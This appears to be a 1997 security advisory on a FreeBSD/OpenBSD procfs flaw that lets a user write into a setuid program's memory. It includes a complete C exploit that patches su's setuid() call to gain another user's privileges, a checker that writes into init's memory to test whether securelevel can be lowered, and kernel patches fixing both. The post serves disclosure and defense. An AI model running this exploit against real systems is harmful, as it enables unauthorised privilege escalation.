There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected, I have not tested 3.x but I believe it to be vulnerable as well) along with OpenBSD (not tested by me, but by someone else -- believe it was 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd does). The problem is all proc/#/mem access is controlled by the permissions on the file. This means you can fork() open the childs mem device and then have the child execute a setuid executable. Once this is done, you can modify the setuid executables memory -- even segments that are supposed to be nonwritable can be modified. Enclosed is a simple exploit tested under FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory for a specific signature. Oh, you need to change your shell to a borneish shell too, since csh/tcsh will not work when euid != ruid (unless passed a -b script argument). BSDI is also believed to be vulnerable. Unfortunately, not only is procfs not mounted, it is not even in the GENERIC kernel. #include #include #include #include #include u_char search_code[13] = { 0x8d, 0x05, 0x17, 0x00, 0x00, 0x00, /* leal 0x17, %eax */ 0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00}; /* lcall 7,0 */ /* just do a xor %eax, %eax and then a ret */ u_char new_code[] = { 0x31, 0xc0, 0xc3}; main(int argc, char **argv) { int pid; int fd; char buff[40]; char *user; /* might need to tweak these */ u_int offset=0x8003000; u_int offset_end = 0x8099000; if(argc < 2) { fprintf(stderr, "%s user\n", argv[0]); exit(1); } printf("Demonstration of 4.4BSD procfs hole\n"); printf("Brian Mitchell \n\n"); printf("after you see \"setuid changed\", enter the pw for the user\n"); printf("\aBe warned, searching for the setuid() function takes a long time!\n"); user=argv[1]; pid = fork(); switch(pid) { case -1: perror("fork"); exit(1); case 0: /* give parent time to open /proc/pid/mem */ sleep(3); execl("/usr/bin/su", "su", user, NULL); exit(0); default: sprintf(buff, "/proc/%d/mem", pid); fd = open(buff, O_RDWR); if(fd < 0) { perror("open procmem"); wait(NULL); exit(1); } /* wait for child to execute suid program */ sleep(6); /* stop the child */ kill(pid, 17); printf("searching - please be patient...\n"); /* search for the setuid code */ while(offset != offset_end) { lseek(fd, offset, SEEK_SET); read(fd, buff, 13); if(!bcmp(buff, search_code, 13)) { lseek(fd, offset, SEEK_SET); write(fd, new_code, 3); printf("setuid changed (0x%x)\n", offset); /* sigcont child */ kill(pid, 19); wait(NULL); exit(0); } offset++; } printf("setuid not found!!\n"); kill(pid, 9); wait(NULL); exit(1); } } ================================================================================= The following patch should fix the problem with procfs. These patches are to -current (well, a version I just checked out about an hour ago). I have 2.2-GAMMA diffs as well. Index: miscfs/procfs/procfs.h =================================================================== RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs.h,v retrieving revision 1.15 diff -u -r1.15 procfs.h --- procfs.h 1997/02/22 09:40:26 1.15 +++ procfs.h 1997/08/11 01:42:06 @@ -85,6 +85,18 @@ (bcmp((s), (cnp)->cn_nameptr, (len)) == 0)) #define KMEM_GROUP 2 + +/* + * Check to see whether access to target process is allowed + * Evaluates to 1 if access is allowed. + */ +#define CHECKIO(p1, p2) \ + ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \ + ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \ + ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \ + ((p2)->p_flag & P_SUGID) == 0) || \ + (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0)) + /* * Format of a directory entry in /proc, ... * This must map onto struct dirent (see ) Index: miscfs/procfs/procfs_mem.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_mem.c,v retrieving revision 1.26 diff -u -r1.26 procfs_mem.c --- procfs_mem.c 1997/08/02 14:32:14 1.26 +++ procfs_mem.c 1997/08/11 01:44:26 @@ -277,6 +277,23 @@ if (uio->uio_resid == 0) return (0); + /* + * XXX + * We need to check for KMEM_GROUP because ps is sgid kmem; + * not allowing it here causes ps to not work properly. Arguably, + * this is a bug with what ps does. We only need to do this + * for Pmem nodes, and only if it's reading. This is still not + * good, as it may still be possible to grab illicit data if + * a process somehow gets to be KMEM_GROUP. Note that this also + * means that KMEM_GROUP can't change without editing procfs.h! + * All in all, quite yucky. + */ + + if (!CHECKIO(curp, p) && + ((curp->p_cred->pc_ucred->cr_gid != KMEM_GROUP) && + (uio->uio_rw != UIO_READ)) + return EPERM; + return (procfs_rwmem(p, uio)); } Index: miscfs/procfs/procfs_regs.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_regs.c,v retrieving revision 1.7 diff -u -r1.7 procfs_regs.c --- procfs_regs.c 1997/08/02 14:32:16 1.7 +++ procfs_regs.c 1997/08/11 01:42:06 @@ -60,6 +60,8 @@ char *kv; int kl; + if (!CHECKIO(curp, p)) + return EPERM; kl = sizeof(r); kv = (char *) &r; Index: miscfs/procfs/procfs_vnops.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_vnops.c,v retrieving revision 1.30 diff -u -r1.30 procfs_vnops.c --- procfs_vnops.c 1997/08/02 14:32:20 1.30 +++ procfs_vnops.c 1997/08/11 01:43:41 @@ -127,16 +127,21 @@ } */ *ap; { struct pfsnode *pfs = VTOPFS(ap->a_vp); + struct proc *p1 = ap->a_p, *p2 = PFIND(pfs->pfs_pid); + + if (p2 == NULL) + return ENOENT; switch (pfs->pfs_type) { case Pmem: - if (PFIND(pfs->pfs_pid) == 0) - return (ENOENT); /* was ESRCH, jsp */ - if ((pfs->pfs_flags & FWRITE) && (ap->a_mode & O_EXCL) || (pfs->pfs_flags & O_EXCL) && (ap->a_mode & FWRITE)) return (EBUSY); + if (!CHECKIO(p1, p2) && + (p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP)) + return EPERM; + if (ap->a_mode & FWRITE) pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL); @@ -194,7 +199,6 @@ struct proc *a_p; } */ *ap; { - return (ENOTTY); } ------------------------------------------------------------------------------------- There is a slight procfs hole that could allow a intruder to lower the securelevel. init's memory is not protected, so you can overwrite data/instructions in init and possibly lower the securelevel (although panicing the system is much more likely). Enclosed is a vulnerbility checker: #include #include #include #include #include main() { int tqbf=31337; int fd; int g0nz0; if(getuid()) { fprintf(stderr, "this attack needs root\n"); exit(1); } fd = open("/proc/1/mem", O_RDWR); if(fd < 0) { fprintf(stderr, "open of /proc/1/mem failed\n"); exit(2); } lseek(fd, 0x1000, SEEK_SET); g0nz0=write(fd, &tqbf, sizeof(int)); close(fd); if(g0nz0 >= 0) fprintf(stderr, "procfs is vulnerable!\n"); else fprintf(stderr, "procfs is not vulnerable!\n"); printf("returned %d\n", g0nz0); } Here is a simple patch, it disallows writes to pid 1's mem node if securelevel is > 0 (diff is based on 2.2.1 box with the securelevel fix applied): *** procfs_mem.c Sat Sep 6 02:36:39 1997 --- procfs_mem.c.new Sat Sep 6 02:38:25 1997 *************** *** 316,321 **** --- 316,325 ---- !(curp->p_cred->pc_ucred->cr_gid == KMEM_GROUP && uio->uio_rw == UIO_READ)) return EPERM; + + /* writing to init memory while securelevel > 0 is bad */ + if(uio->uio_rw == UIO_WRITE && p->p_pid == 1 && securelevel > 0) + return EPERM; error = procfs_rwmem(p, uio);